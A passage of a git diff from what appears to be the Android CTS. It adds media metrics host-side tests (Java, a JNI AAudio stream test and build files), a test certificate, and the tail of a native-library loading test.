+        List<String> loadedLibs = new ArrayList<>();
+        List<String> unexpectedFailures = new ArrayList<>();
+        for (String lib : libNamesFromAssetFile("unavailable.txt")) {
+            try {
+                System.loadLibrary(lib);
+                loadedLibs.add("lib" + lib + ".so");
+            } catch (UnsatisfiedLinkError e) {
+                // This is expected
+            } catch (Throwable t) {
+                unexpectedFailures.add(t.getMessage());
+            }
+        };
+        assertThat("Some unavailable libraries were loaded", loadedLibs, is(Collections.emptyList()));
+        assertThat("Unexpected errors occurred", unexpectedFailures, is(Collections.emptyList()));
+    }
+}
diff --git a/hostsidetests/library/testkey.pk8 b/hostsidetests/library/testkey.pk8
new file mode 100644
index 0000000..586c1bd
--- /dev/null
+++ b/hostsidetests/library/testkey.pk8
Binary files differ
diff --git a/hostsidetests/library/testkey.x509.pem b/hostsidetests/library/testkey.x509.pem
new file mode 100644
index 0000000..e242d83
--- /dev/null
+++ b/hostsidetests/library/testkey.x509.pem
@@ -0,0 +1,27 @@
+-----BEGIN CERTIFICATE-----
+MIIEqDCCA5CgAwIBAgIJAJNurL4H8gHfMA0GCSqGSIb3DQEBBQUAMIGUMQswCQYD
+VQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4g
+VmlldzEQMA4GA1UEChMHQW5kcm9pZDEQMA4GA1UECxMHQW5kcm9pZDEQMA4GA1UE
+AxMHQW5kcm9pZDEiMCAGCSqGSIb3DQEJARYTYW5kcm9pZEBhbmRyb2lkLmNvbTAe
+Fw0wODAyMjkwMTMzNDZaFw0zNTA3MTcwMTMzNDZaMIGUMQswCQYDVQQGEwJVUzET
+MBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzEQMA4G
+A1UEChMHQW5kcm9pZDEQMA4GA1UECxMHQW5kcm9pZDEQMA4GA1UEAxMHQW5kcm9p
+ZDEiMCAGCSqGSIb3DQEJARYTYW5kcm9pZEBhbmRyb2lkLmNvbTCCASAwDQYJKoZI
+hvcNAQEBBQADggENADCCAQgCggEBANaTGQTexgskse3HYuDZ2CU+Ps1s6x3i/waM
+qOi8qM1r03hupwqnbOYOuw+ZNVn/2T53qUPn6D1LZLjk/qLT5lbx4meoG7+yMLV4
+wgRDvkxyGLhG9SEVhvA4oU6Jwr44f46+z4/Kw9oe4zDJ6pPQp8PcSvNQIg1QCAcy
+4ICXF+5qBTNZ5qaU7Cyz8oSgpGbIepTYOzEJOmc3Li9kEsBubULxWBjf/gOBzAzU
+RNps3cO4JFgZSAGzJWQTT7/emMkod0jb9WdqVA2BVMi7yge54kdVMxHEa5r3b97s
+zI5p58ii0I54JiCUP5lyfTwE/nKZHZnfm644oLIXf6MdW2r+6R8CAQOjgfwwgfkw
+HQYDVR0OBBYEFEhZAFY9JyxGrhGGBaR0GawJyowRMIHJBgNVHSMEgcEwgb6AFEhZ
+AFY9JyxGrhGGBaR0GawJyowRoYGapIGXMIGUMQswCQYDVQQGEwJVUzETMBEGA1UE
+CBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzEQMA4GA1UEChMH
+QW5kcm9pZDEQMA4GA1UECxMHQW5kcm9pZDEQMA4GA1UEAxMHQW5kcm9pZDEiMCAG
+CSqGSIb3DQEJARYTYW5kcm9pZEBhbmRyb2lkLmNvbYIJAJNurL4H8gHfMAwGA1Ud
+EwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAHqvlozrUMRBBVEY0NqrrwFbinZa
+J6cVosK0TyIUFf/azgMJWr+kLfcHCHJsIGnlw27drgQAvilFLAhLwn62oX6snb4Y
+LCBOsVMR9FXYJLZW2+TcIkCRLXWG/oiVHQGo/rWuWkJgU134NDEFJCJGjDbiLCpe
++ZTWHdcwauTJ9pUbo8EvHRkU3cYfGmLaLfgn9gP+pWA7LFQNvXwBnDa6sppCccEX
+31I828XzgXpJ4O+mDL1/dBd+ek8ZPUP0IgdyZm5MTYPhvVqGCHzzTy3sIeJFymwr
+sBbmg2OAUNLEMO6nwmocSdN2ClirfxqCzJOLSDE4QyS9BAH6EhY6UFcOaE0=
+-----END CERTIFICATE-----
diff --git a/hostsidetests/media/Android.bp b/hostsidetests/media/Android.bp
index b16d6fe..7f174a2 100644
--- a/hostsidetests/media/Android.bp
+++ b/hostsidetests/media/Android.bp
@@ -39,6 +39,7 @@
 
     static_libs: [
         "cts-host-utils",
+        "cts-statsd-atom-host-test-utils",
     ],
 }
 
diff --git a/hostsidetests/media/app/MediaExtractorTest/Android.bp b/hostsidetests/media/app/MediaExtractorTest/Android.bp
index 54aefae..9479dc9 100644
--- a/hostsidetests/media/app/MediaExtractorTest/Android.bp
+++ b/hostsidetests/media/app/MediaExtractorTest/Android.bp
@@ -45,6 +45,7 @@
         "libandroid",
         "libnativehelper_compat_libc++",
     ],
+    header_libs: ["liblog_headers"],
     include_dirs: [
         "frameworks/av/media/ndk/include/media",
     ],
diff --git a/hostsidetests/media/app/MediaMetricsTest/Android.bp b/hostsidetests/media/app/MediaMetricsTest/Android.bp
new file mode 100644
index 0000000..3e7d643
--- /dev/null
+++ b/hostsidetests/media/app/MediaMetricsTest/Android.bp
@@ -0,0 +1,58 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test_library {
+    name: "libCtsMediaMetricsHostTestAppJni",
+    srcs: ["jni/aaudio_stream.cpp"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    header_libs: ["jni_headers"],
+    shared_libs: [
+        "libaaudio",
+    ],
+    static_libs: [
+        "libnativetesthelper_jni",
+    ],
+    stl: "c++_static",
+    gtest: false,
+    sdk_version: "current",
+}
+
+android_test_helper_app {
+    name: "CtsMediaMetricsHostTestApp",
+    defaults: ["cts_defaults"],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    jni_libs: [
+        "libCtsMediaMetricsHostTestAppJni",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "truth-prebuilt",
+    ],
+    sdk_version: "test_current",
+    min_sdk_version: "30",
+    compile_multilib: "both",
+}
diff --git a/hostsidetests/media/app/MediaMetricsTest/AndroidManifest.xml b/hostsidetests/media/app/MediaMetricsTest/AndroidManifest.xml
new file mode 100644
index 0000000..78b5954
--- /dev/null
+++ b/hostsidetests/media/app/MediaMetricsTest/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.media.metrics.cts"
+     android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+    <uses-sdk android:minSdkVersion="30"/>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.media.metrics.cts"
+         android:label="Media metrics CTS Tests"/>
+
+</manifest>
diff --git a/hostsidetests/media/app/MediaMetricsTest/jni/aaudio_stream.cpp b/hostsidetests/media/app/MediaMetricsTest/jni/aaudio_stream.cpp
new file mode 100644
index 0000000..699d9ea
--- /dev/null
+++ b/hostsidetests/media/app/MediaMetricsTest/jni/aaudio_stream.cpp
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#define LOG_NDEBUG 0
+#define LOG_TAG "AAudioStreamAtom-JNI"
+
+#include <jni.h>
+
+#include <aaudio/AAudio.h>
+#include <gtest/gtest.h>
+
+void tryOpeningStream(aaudio_direction_t direction, aaudio_performance_mode_t performanceMode) {
+    AAudioStreamBuilder *builder = nullptr;
+    ASSERT_EQ(AAUDIO_OK, AAudio_createStreamBuilder(&builder));
+    ASSERT_NE(nullptr, builder);
+    AAudioStreamBuilder_setDirection(builder, direction);
+    AAudioStreamBuilder_setPerformanceMode(builder, performanceMode);
+
+    AAudioStream *stream = nullptr;
+    ASSERT_EQ(AAUDIO_OK, AAudioStreamBuilder_openStream(builder, &stream));
+    ASSERT_NE(nullptr, stream);
+    ASSERT_EQ(direction, AAudioStream_getDirection(stream));
+
+    ASSERT_EQ(AAUDIO_OK, AAudioStream_requestStart(stream));
+    ASSERT_EQ(AAUDIO_OK, AAudioStream_requestStop(stream));
+
+    // Cleanup
+    ASSERT_EQ(AAUDIO_OK, AAudioStreamBuilder_delete(builder));
+    ASSERT_EQ(AAUDIO_OK, AAudioStream_close(stream));
+}
+
+extern "C" JNIEXPORT void JNICALL
+Java_android_media_metrics_cts_MediaMetricsAtomHostSideTests_testAAudioMmapOutputStream(
+        JNIEnv *, jobject /* this */) {
+    tryOpeningStream(AAUDIO_DIRECTION_OUTPUT, AAUDIO_PERFORMANCE_MODE_LOW_LATENCY);
+}
+
+extern "C" JNIEXPORT void JNICALL
+Java_android_media_metrics_cts_MediaMetricsAtomHostSideTests_testAAudioMmapInputStream(
+        JNIEnv *, jobject /* this */) {
+    tryOpeningStream(AAUDIO_DIRECTION_INPUT, AAUDIO_PERFORMANCE_MODE_LOW_LATENCY);
+}
+
+extern "C" JNIEXPORT void JNICALL
+Java_android_media_metrics_cts_MediaMetricsAtomHostSideTests_testAAudioLegacyOutputStream(
+        JNIEnv *, jobject /* this */) {
+    tryOpeningStream(AAUDIO_DIRECTION_OUTPUT, AAUDIO_PERFORMANCE_MODE_NONE);
+}
+
+extern "C" JNIEXPORT void JNICALL
+Java_android_media_metrics_cts_MediaMetricsAtomHostSideTests_testAAudioLegacyInputStream(
+        JNIEnv *, jobject /* this */) {
+    tryOpeningStream(AAUDIO_DIRECTION_INPUT, AAUDIO_PERFORMANCE_MODE_NONE);
+}
diff --git a/hostsidetests/media/app/MediaMetricsTest/src/android/media/metrics/cts/MediaMetricsAtomHostSideTests.java b/hostsidetests/media/app/MediaMetricsTest/src/android/media/metrics/cts/MediaMetricsAtomHostSideTests.java
new file mode 100644
index 0000000..442386d
--- /dev/null
+++ b/hostsidetests/media/app/MediaMetricsTest/src/android/media/metrics/cts/MediaMetricsAtomHostSideTests.java
@@ -0,0 +1,180 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.metrics.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.media.metrics.LogSessionId;
+import android.media.metrics.MediaMetricsManager;
+import android.media.metrics.NetworkEvent;
+import android.media.metrics.PlaybackErrorEvent;
+import android.media.metrics.PlaybackMetrics;
+import android.media.metrics.PlaybackSession;
+import android.media.metrics.PlaybackStateEvent;
+import android.media.metrics.RecordingSession;
+import android.media.metrics.TrackChangeEvent;
+import android.os.Bundle;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Test;
+
+public class MediaMetricsAtomHostSideTests {
+
+    static {
+        System.loadLibrary("CtsMediaMetricsHostTestAppJni");
+    }
+
+    @Test
+    public void testPlaybackStateEvent() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
+        PlaybackSession s = manager.createPlaybackSession();
+        PlaybackStateEvent e =
+                new PlaybackStateEvent.Builder()
+                        .setTimeSinceCreatedMillis(1763L)
+                        .setState(PlaybackStateEvent.STATE_JOINING_FOREGROUND)
+                        .setMetricsBundle(new Bundle())
+                        .build();
+        s.reportPlaybackStateEvent(e);
+    }
+
+    @Test
+    public void testPlaybackErrorEvent() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
+        PlaybackSession s = manager.createPlaybackSession();
+        PlaybackErrorEvent e =
+                new PlaybackErrorEvent.Builder()
+                        .setTimeSinceCreatedMillis(17630000L)
+                        .setErrorCode(PlaybackErrorEvent.ERROR_RUNTIME)
+                        .setSubErrorCode(378)
+                        .setException(new Exception("test exception"))
+                        .setMetricsBundle(new Bundle())
+                        .build();
+        s.reportPlaybackErrorEvent(e);
+    }
+
+    @Test
+    public void testTrackChangeEvent_text() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
+        PlaybackSession s = manager.createPlaybackSession();
+        TrackChangeEvent e =
+                new TrackChangeEvent.Builder(TrackChangeEvent.TRACK_TYPE_TEXT)
+                        .setTimeSinceCreatedMillis(37278L)
+                        .setTrackState(TrackChangeEvent.TRACK_STATE_ON)
+                        .setTrackChangeReason(TrackChangeEvent.TRACK_CHANGE_REASON_MANUAL)
+                        .setContainerMimeType("text/foo")
+                        .setSampleMimeType("text/plain")
+                        .setCodecName("codec_1")
+                        .setBitrate(1024)
+                        .setLanguage("EN")
+                        .setLanguageRegion("US")
+                        .build();
+        s.reportTrackChangeEvent(e);
+    }
+
+    @Test
+    public void testNetworkEvent() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
+        PlaybackSession s = manager.createPlaybackSession();
+        NetworkEvent e =
+                new NetworkEvent.Builder()
+                        .setTimeSinceCreatedMillis(3032L)
+                        .setNetworkType(NetworkEvent.NETWORK_TYPE_WIFI)
+                        .setMetricsBundle(new Bundle())
+                        .build();
+        s.reportNetworkEvent(e);
+    }
+
+    @Test
+    public void testPlaybackMetrics() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
+        PlaybackSession s = manager.createPlaybackSession();
+        PlaybackMetrics e =
+                new PlaybackMetrics.Builder()
+                        .setMediaDurationMillis(233L)
+                        .setStreamSource(PlaybackMetrics.STREAM_SOURCE_NETWORK)
+                        .setStreamType(PlaybackMetrics.STREAM_TYPE_OTHER)
+                        .setPlaybackType(PlaybackMetrics.PLAYBACK_TYPE_LIVE)
+                        .setDrmType(PlaybackMetrics.DRM_TYPE_WIDEVINE_L1)
+                        .setContentType(PlaybackMetrics.CONTENT_TYPE_MAIN)
+                        .setPlayerName("ExoPlayer")
+                        .setPlayerVersion("1.01x")
+                        .setVideoFramesPlayed(1024)
+                        .setVideoFramesDropped(32)
+                        .setAudioUnderrunCount(22)
+                        .setNetworkBytesRead(102400)
+                        .setLocalBytesRead(2000)
+                        .setNetworkTransferDurationMillis(6000)
+                        .setDrmSessionId(new byte[] {2, 3, 3, 10})
+                        .setMetricsBundle(new Bundle())
+                        .build();
+        s.reportPlaybackMetrics(e);
+    }
+
+    @Test
+    public void testSessionId() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
+        PlaybackSession s = manager.createPlaybackSession();
+
+        LogSessionId idObj = s.getSessionId();
+        assertThat(idObj).isNotEqualTo(null);
+        assertThat(idObj.getStringId().length()).isGreaterThan(0);
+    }
+
+    @Test
+    public void testRecordingSession() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
+        RecordingSession s = manager.createRecordingSession();
+
+        assertThat(s).isNotEqualTo(null);
+        LogSessionId idObj = s.getSessionId();
+        assertThat(idObj).isNotEqualTo(null);
+        assertThat(idObj.getStringId().length()).isGreaterThan(0);
+    }
+
+    /**
+     * Open aaudio mmap output stream and then close
+     */
+    @Test
+    public native void testAAudioMmapOutputStream();
+
+    /**
+     * Open aaudio mmap input stream and then close
+     */
+    @Test
+    public native void testAAudioMmapInputStream();
+
+    /**
+     * Open aaudio legacy output stream and then close
+     */
+    @Test
+    public native void testAAudioLegacyOutputStream();
+
+    /**
+     * Open aaudio legacy input stream and then close
+     */
+    @Test
+    public native void testAAudioLegacyInputStream();
+}
diff --git a/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml b/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml
index 009fea8..3e5854d 100644
--- a/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml
+++ b/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml
@@ -15,28 +15,26 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.media.session.cts"
-    android:targetSandboxVersion="2">
+     package="android.media.session.cts"
+     android:targetSandboxVersion="2">
 
     <uses-sdk android:minSdkVersion="26"/>
 
-    <application
-        android:testOnly="true">
-        <uses-library android:name="android.test.runner" />
+    <application android:testOnly="true">
+        <uses-library android:name="android.test.runner"/>
 
-        <service
-            android:name=".MediaSessionManagerTest"
-            android:label="MediaSessionManagerTest"
-            android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" >
+        <service android:name=".MediaSessionManagerTest"
+             android:label="MediaSessionManagerTest"
+             android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.notification.NotificationListenerService" />
+                <action android:name="android.service.notification.NotificationListenerService"/>
             </intent-filter>
         </service>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.media.session.cts"
-        android:label="MediaSession multi-user case CTS Tests" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.media.session.cts"
+         android:label="MediaSession multi-user case CTS Tests"/>
 
 </manifest>
diff --git a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
index 6ed0e60..f12b823 100644
--- a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
+++ b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
@@ -25,8 +25,8 @@
 import android.content.ComponentName;
 import android.content.Context;
 import android.media.session.MediaController;
-import android.media.session.MediaSessionManager;
 import android.media.session.MediaSessionManager.RemoteUserInfo;
+import android.media.session.MediaSessionManager;
 import android.os.Process;
 import android.service.notification.NotificationListenerService;
 
diff --git a/hostsidetests/media/app/MediaSessionTestHelper/AndroidManifest.xml b/hostsidetests/media/app/MediaSessionTestHelper/AndroidManifest.xml
index 70c48f9..a7270fc 100644
--- a/hostsidetests/media/app/MediaSessionTestHelper/AndroidManifest.xml
+++ b/hostsidetests/media/app/MediaSessionTestHelper/AndroidManifest.xml
@@ -16,16 +16,17 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.media.app.media_session_test_helper"
-    android:versionCode="1"
-    android:versionName="1.0">
+     package="android.media.app.media_session_test_helper"
+     android:versionCode="1"
+     android:versionName="1.0">
 
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
 
     <application android:label="@string/label">
-        <service android:name=".MediaSessionTestHelperService">
+        <service android:name=".MediaSessionTestHelperService"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.app.media_session_test_helper.ACTION_CONTROL" />
+                <action android:name="android.media.app.media_session_test_helper.ACTION_CONTROL"/>
             </intent-filter>
         </service>
     </application>
diff --git a/hostsidetests/media/src/android/media/metrics/cts/MediaMetricsAtomTests.java b/hostsidetests/media/src/android/media/metrics/cts/MediaMetricsAtomTests.java
new file mode 100644
index 0000000..defde84
--- /dev/null
+++ b/hostsidetests/media/src/android/media/metrics/cts/MediaMetricsAtomTests.java
@@ -0,0 +1,319 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.metrics.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Base64;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+public class MediaMetricsAtomTests extends DeviceTestCase implements IBuildReceiver {
+    public static final String TEST_APK = "CtsMediaMetricsHostTestApp.apk";
+    public static final String TEST_PKG = "android.media.metrics.cts";
+    private static final String FEATURE_AUDIO_OUTPUT = "android.hardware.audio.output";
+    private static final String FEATURE_MICROPHONE = "android.hardware.microphone";
+    private static final int MAX_BUFFER_CAPACITY = 30 * 1024 * 1024; // 30M
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        DeviceUtils.installTestApp(getDevice(), TEST_APK, TEST_PKG, mCtsBuild);
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallTestApp(getDevice(), TEST_PKG);
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testPlaybackStateEvent() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
+                AtomsProto.Atom.MEDIA_PLAYBACK_STATE_CHANGED_FIELD_NUMBER);
+        DeviceUtils.runDeviceTests(
+                getDevice(),
+                TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
+                "testPlaybackStateEvent");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data.size()).isEqualTo(1);
+        assertThat(data.get(0).getAtom().hasMediaPlaybackStateChanged()).isTrue();
+        AtomsProto.MediaPlaybackStateChanged result =
+                data.get(0).getAtom().getMediaPlaybackStateChanged();
+        assertThat(result.getPlaybackState().toString()).isEqualTo("JOINING_FOREGROUND");
+        assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(1763L);
+    }
+
+    public void testPlaybackErrorEvent() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
+                AtomsProto.Atom.MEDIA_PLAYBACK_ERROR_REPORTED_FIELD_NUMBER);
+        DeviceUtils.runDeviceTests(
+                getDevice(),
+                TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
+                "testPlaybackErrorEvent");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data.size()).isEqualTo(1);
+        assertThat(data.get(0).getAtom().hasMediaPlaybackErrorReported()).isTrue();
+        AtomsProto.MediaPlaybackErrorReported result =
+                data.get(0).getAtom().getMediaPlaybackErrorReported();
+
+        assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(17630000L);
+        assertThat(result.getErrorCode().toString()).isEqualTo("ERROR_CODE_RUNTIME");
+        assertThat(result.getSubErrorCode()).isEqualTo(378);
+        assertThat(result.getExceptionStack().startsWith(
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests.testPlaybackErrorEvent"))
+                        .isTrue();
+    }
+
+    public void testTrackChangeEvent_text() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
+                AtomsProto.Atom.MEDIA_PLAYBACK_TRACK_CHANGED_FIELD_NUMBER);
+        DeviceUtils.runDeviceTests(
+                getDevice(),
+                TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
+                "testTrackChangeEvent_text");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data.size()).isEqualTo(1);
+        assertThat(data.get(0).getAtom().hasMediaPlaybackTrackChanged()).isTrue();
+        AtomsProto.MediaPlaybackTrackChanged result =
+                data.get(0).getAtom().getMediaPlaybackTrackChanged();
+
+        assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(37278L);
+        assertThat(result.getState().toString()).isEqualTo("ON");
+        assertThat(result.getReason().toString()).isEqualTo("REASON_MANUAL");
+        assertThat(result.getContainerMimeType()).isEqualTo("text/foo");
+        assertThat(result.getSampleMimeType()).isEqualTo("text/plain");
+        assertThat(result.getCodecName()).isEqualTo("codec_1");
+        assertThat(result.getBitrate()).isEqualTo(1024);
+        assertThat(result.getType().toString()).isEqualTo("TEXT");
+        assertThat(result.getLanguage()).isEqualTo("EN");
+        assertThat(result.getLanguageRegion()).isEqualTo("US");
+    }
+
+    public void testNetworkEvent() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
+                AtomsProto.Atom.MEDIA_NETWORK_INFO_CHANGED_FIELD_NUMBER);
+        DeviceUtils.runDeviceTests(
+                getDevice(),
+                TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
+                "testNetworkEvent");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data.size()).isEqualTo(1);
+        assertThat(data.get(0).getAtom().hasMediaNetworkInfoChanged()).isTrue();
+        AtomsProto.MediaNetworkInfoChanged result =
+                data.get(0).getAtom().getMediaNetworkInfoChanged();
+
+        assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(3032L);
+        assertThat(result.getType().toString()).isEqualTo("NETWORK_TYPE_WIFI");
+    }
+
+    public void testPlaybackMetrics() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
+                AtomsProto.Atom.MEDIAMETRICS_PLAYBACK_REPORTED_FIELD_NUMBER);
+        DeviceUtils.runDeviceTests(
+                getDevice(),
+                TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
+                "testPlaybackMetrics");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        int appUid = DeviceUtils.getAppUid(getDevice(), TEST_PKG);
+
+        assertThat(data.size()).isEqualTo(1);
+        assertThat(data.get(0).getAtom().hasMediametricsPlaybackReported()).isTrue();
+        AtomsProto.MediametricsPlaybackReported result =
+                data.get(0).getAtom().getMediametricsPlaybackReported();
+
+        assertThat(result.getUid()).isEqualTo(appUid);
+        assertThat(result.getMediaDurationMillis()).isEqualTo(233L);
+        assertThat(result.getStreamSource().toString()).isEqualTo("STREAM_SOURCE_NETWORK");
+        assertThat(result.getStreamType().toString()).isEqualTo("STREAM_TYPE_OTHER");
+        assertThat(result.getPlaybackType().toString()).isEqualTo("PLAYBACK_TYPE_LIVE");
+        assertThat(result.getDrmType().toString()).isEqualTo("DRM_TYPE_WV_L1");
+        assertThat(result.getContentType().toString()).isEqualTo("CONTENT_TYPE_MAIN");
+        assertThat(result.getPlayerName()).isEqualTo("ExoPlayer");
+        assertThat(result.getPlayerVersion()).isEqualTo("1.01x");
+        assertThat(result.getVideoFramesPlayed()).isEqualTo(1024);
+        assertThat(result.getVideoFramesDropped()).isEqualTo(32);
+        assertThat(result.getAudioUnderrunCount()).isEqualTo(22);
+        assertThat(result.getNetworkBytesRead()).isEqualTo(102400);
+        assertThat(result.getLocalBytesRead()).isEqualTo(2000);
